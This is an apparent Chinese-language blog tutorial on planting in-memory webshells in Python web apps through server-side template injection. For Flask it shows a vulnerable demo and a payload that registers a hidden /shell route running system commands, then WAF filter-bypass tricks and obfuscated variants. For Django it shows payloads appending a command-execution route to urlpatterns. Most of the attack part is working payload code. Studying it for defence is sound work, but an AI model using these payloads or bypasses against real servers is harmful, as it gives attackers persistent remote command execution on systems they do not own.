之前一直想学内存马,但是碍于对 java 的了解近乎为0,对jndi的了解也是只停留在会背面经的层面,所以一直没有去学,直到后来翻一些文章发现 python 也可以利用 SSTI 进行内存马注入,于是迅速开整

Flask

常见的 Python Web 框架如 DjangoFlask 都有可能存在 SSTI(Server-Side Template Injection,服务端模板注入)漏洞

在 Flask 中,使用 render_template_string() 渲染模板时,若将用户输入直接传入而未做过滤处理,就可能导致 SSTI 漏洞。攻击者可通过该漏洞注入恶意模板代码,从而实现 代码执行,甚至进一步植入 内存马

内存马注入原理(Flask 路由机制)

Flask 常规注册路由的方式是通过装饰器 @app.route(),但底层实际是调用了:

1
self.add_url_rule(rule, endpoint=None, view_func=None)

各参数说明如下:

  • rule:URL 路径(必须以 / 开头),与 @app.route() 中的路径一致
  • endpoint:视图函数的唯一标识,在使用 url_for() 反向生成 URL 时会用到,默认为函数名
  • view_func:绑定的视图函数(关键参数),可以是函数名,也可以是匿名函数(lambda)

因此,只要能通过 SSTI 或其他 RCE 手段执行 add_url_rule() 并注入恶意 view_func,就可以动态注册一个后门路由,实现命令执行或内存马植入

Flask 上下文机制(Context)

要动态注册路由并执行命令,核心在于控制 **view_func** 的行为。通常可使用 匿名函数 lambda 来实现远程命令执行:

1
lambda: os.popen(request.args.get('cmd')).read()

这需要依赖 Flask 的上下文机制(Context):

Flask 中的上下文分为两类:

  • 请求上下文(Request Context):包含请求相关的数据,如 request, session, g
  • 应用上下文(Application Context):包含全局应用状态,如 current_app, app

当一个 HTTP 请求进入 Flask 应用时,Flask 会自动:

  • 实例化一个 Request Context
  • **Request Context **包含在 Request 对象中,并被推入 _request_ctx_stack 栈结构
  • 获取当前请求对象,即可通过 _request_ctx_stack.top 获取当前上下文

这使得我们在构造 payload 时,能访问如 request, app, os 等对象并执行逻辑

漏洞环境

这里我们从 https://xz.aliyun.com/news/10381 这篇文章找一个漏洞环境 demo 来实验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def hello_world(): # put application's code here
person = 'knave'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)


if __name__ == '__main__':
app.run()

原始 Flask 内存马 payload:

1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

我们来分析一下这个 payload

先将他展开:

1
2
3
4
5
6
7
{{ url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",
{
'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'],
'app': url_for.__globals__['current_app']
}
) }}

步骤分解:

url_for.__globals__

  • url_for 是 Flask 中的函数,而 Python 中函数对象有一个属性叫 __globals__
  • 所以可以通过 url_for.__globals__ 拿到全局作用域字典
  • 可以进一步访问到各种内置对象,比如:
    • __builtins__['eval']
    • current_app
    • _request_ctx_stack

执行 eval(...) 代码

1
eval("app.add_url_rule(...)")
  • 把构造好的 Python 代码字符串传入 eval(),相当于运行:
1
app.add_url_rule('/shell', 'shell', lambda: os.popen(cmd).read())

注册后门路由 /shell

这句代码的作用就是动态往 Flask 应用注册一个新的路由 /shell

1
2
3
4
5
app.add_url_rule(
'/shell', # 路由地址
'shell', # endpoint 名称
lambda: __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
  • lambda: 是匿名函数,作为 view_func
  • os.popen(cmd).read() 执行系统命令
  • 命令从当前请求对象中获取:_request_ctx_stack.top.request.args.get('cmd')

执行 payload 后,内存中注册了一个后门:

你就可以直接访问:

1
http://localhost:5000/shell?cmd=whoami

获得系统命令的执行结果

当然了实战肯定是有过滤的,可以先 fenjing 一把梭,梭完再根据 fenjing 的 payload 的 bypass 方法对上面的 payload 进行修改

我对 bypass 不是很擅长,直接复制粘贴了

1
2
3
4
5
6
7
8
9
+ url_for可替换为get_flashed_messages或者request.__init__或者request.application.
+ 代码执行函数替换, 如exec等替换eval.
+ 字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
+ __globals__可用__getattribute__('__globa'+'ls__')替换.
+ []可用.__getitem__()或.pop()替换.
+ 过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
+ 过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
+ 过滤了.可以采用attr()或[]绕过.
+ 其它的手法参考SSTI绕过过滤的方法即可...

这里给出两个变形Payload:

原Payload

1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

变形 payload:

1
2
3
4
5
6
7
8
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__')
.__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')(
"app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",
{
'_request_ct'+'x_stack': get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),
'app': get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')
}
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
get_flashed_messages
|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")
|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")
|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("eval")(
"app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",
{
'_request_ctx_stack': get_flashed_messages
|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")
|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("_request_ctx_stack"),
'app': get_flashed_messages
|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")
|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("current_app")
}
)

你可以抽象出一套 SSTI 的「绕过骨架」模板,比如:

1
2
3
4
5
6
7
8
9
10
{{ 
<全局对象>
|attr("__getattribute__")("__globals__")
|attr("__getitem__")("__builtins__")
|attr("__getitem__")("eval")
("<代码字符串>", {
'app': <全局对象>|...,
'_request_ctx_stack': <全局对象>|...
})
}}

然后根据不同题目的 WAF 实际情况:

  • 替换对象入口(url_for, get_flashed_messages, request 等)
  • 替换函数调用方式(拼接、编码、attr)
  • 替换代码逻辑(文件读写 / 反弹 shell / 打印 token)

Django

Django会使用一个名为urlpatterns的全局列表来存储所有的URL路由信息。每一项由path()re_path()函数返回,用于将 URL 映射到某个视图函数(或类视图)

那么为了可以动态的向urlpatterns中添加新的路径,可以引入一个新的可访问端点,该端点用于接收命令和返回结果

那么就要获取settings这个对象,从而读取到settings.py文件中的 ROOT_URLCONF(用于指定当前路由入口)

而 Python 中函数对象有一个特殊属性__globals__,他保存了该函数所在模块的全局命名空间字典。攻击者可以从任意一个视图函数出发,通过request传入的函数对象,访问到其全局变量,包括settingsurlpatterns、其他导入模块等。在 Django 视图函数中,可以从request参数关联的任何函数出发,访问到整个模块的全局变量,包括 Django 项目的设置和URL配置。

那么直接将其导入,就可以获得当前应用的入口

这个时候, 就可以通过访问urls.urlpatterns来操作路由列表了

在路由定义中,每一条路由都会调用path函数来进行定义

path函数接收四个参数:routeviewkwargsname,其中kwargsname是可选参数。主要关注的是前两个参数:

route: 这是一个字符串,表示匹配的URL模式。

view: 这是一个可调用对象,当URL匹配时会被调用。它可以是:

  • 一个普通的Python函数(视图函数)
  • 一个继承自django.views.View的类,并通过.as_view()方法转换为可调用对象
  • 包含(urlconf_module, app_name, namespace)的元组或列表,用于包含其他URL配置

_path函数对view参数有特定的要求,具体如下:

  • 如果view是一个可调用对象(例如普通函数或实现了__call__方法的对象),则直接将其作为视图函数处理。
  • 如果view是一个包含(urlconf_module, app_name, namespace)的元组或列表,则用于包含其他URL配置。
  • 如果view是一个继承自django.views.View的类,则需要调用其.as_view()方法将其转换为可调用对象。
  • 如果view不符合上述任何一种情况,则会抛出TypeError异常。
    由于_path函数要求视图参数必须是可调用的,我们可以使用Python 的 lambda 表达式来快速定义一个简单的视图函数。 Lambda 表达式是一种创建匿名函数的方式,非常适合这种场景。

payload:

1
2
3
4
5
__import__('django').urls.path('shell', 
lambda request: __import__('django').http.HttpResponse(
__import__('os').popen(request.GET.get('cmd','id')).read()
)
)

分解逻辑:

  • import(‘django’):动态导入 django 模块(等价于 import django)
  • .urls.path(…):调用 django.urls.path 函数,创建一个 URL 路由规则
  • ‘shell’:设置路由路径 /shell/
  • lambda request: …:视图函数,接收 request,执行命令并返回结果
  • import(‘os’).popen(…):使用 os.popen 执行命令
    request.GET.get(‘cmd’, ‘id’):从 GET 请求中读取参数 cmd,默认执行 id
  • HttpResponse(…):返回命令执行的结果

将这个新路由 append 到 app.urlpatterns 中就可以实现内存马

1
__import__(request.get_port.__globals__["settings"].ROOT_URLCONF).urls.urlpatterns.append(__import__('django').urls.path('shell',lambda request: __import__('django').http.HttpResponse(__import__('os').popen(request.GET.get('cmd','id')).read())))

也可以使用subprocess.check_output()来执行命令

1
2
3
4
5
6
7
8
__import__(__import__('django.conf').conf.settings.ROOT_URLCONF).urls.urlpatterns.append(
__import__('django').urls.path('nnn',
lambda request: __import__('django.http').http.HttpResponse(
__import__('subprocess').check_output(
request.GET.get('cmd', 'id'), shell=True)
)
)
)

因为 SSTI 是好久前看的了,平常又不怎么用到,早就忘光光了,导致又花时间过了一遍基础